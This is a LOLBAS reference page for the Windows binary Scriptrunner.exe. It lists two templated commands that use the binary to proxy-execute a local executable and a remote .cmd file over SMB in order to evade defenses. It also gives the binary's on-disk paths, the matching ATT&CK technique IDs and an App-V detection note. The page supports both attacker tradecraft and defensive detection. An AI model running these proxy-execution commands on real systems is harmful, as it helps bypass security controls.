LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Scriptrunner.exe

View source

Execute binary through proxy binary to evade defensive counter measures

Execute
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1202

Executes executable

COMMAND
Scriptrunner.exe -appvscript {PATH:.exe}
USE CASE
Execute binary through proxy binary to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE
EXAMPLE 02T1218

Executes cmd file from remote server

COMMAND
ScriptRunner.exe -appvscript {PATH_SMB:.cmd}
USE CASE
Execute binary through proxy binary from external server to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · RemoteExecute · CMD
02 / ON DISK

Known paths

C:\Windows\System32\scriptrunner.exe
C:\Windows\SysWOW64\scriptrunner.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Scriptrunner.exe should not be in use unless App-v is deployed

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Nick Tyrer@nicktyrer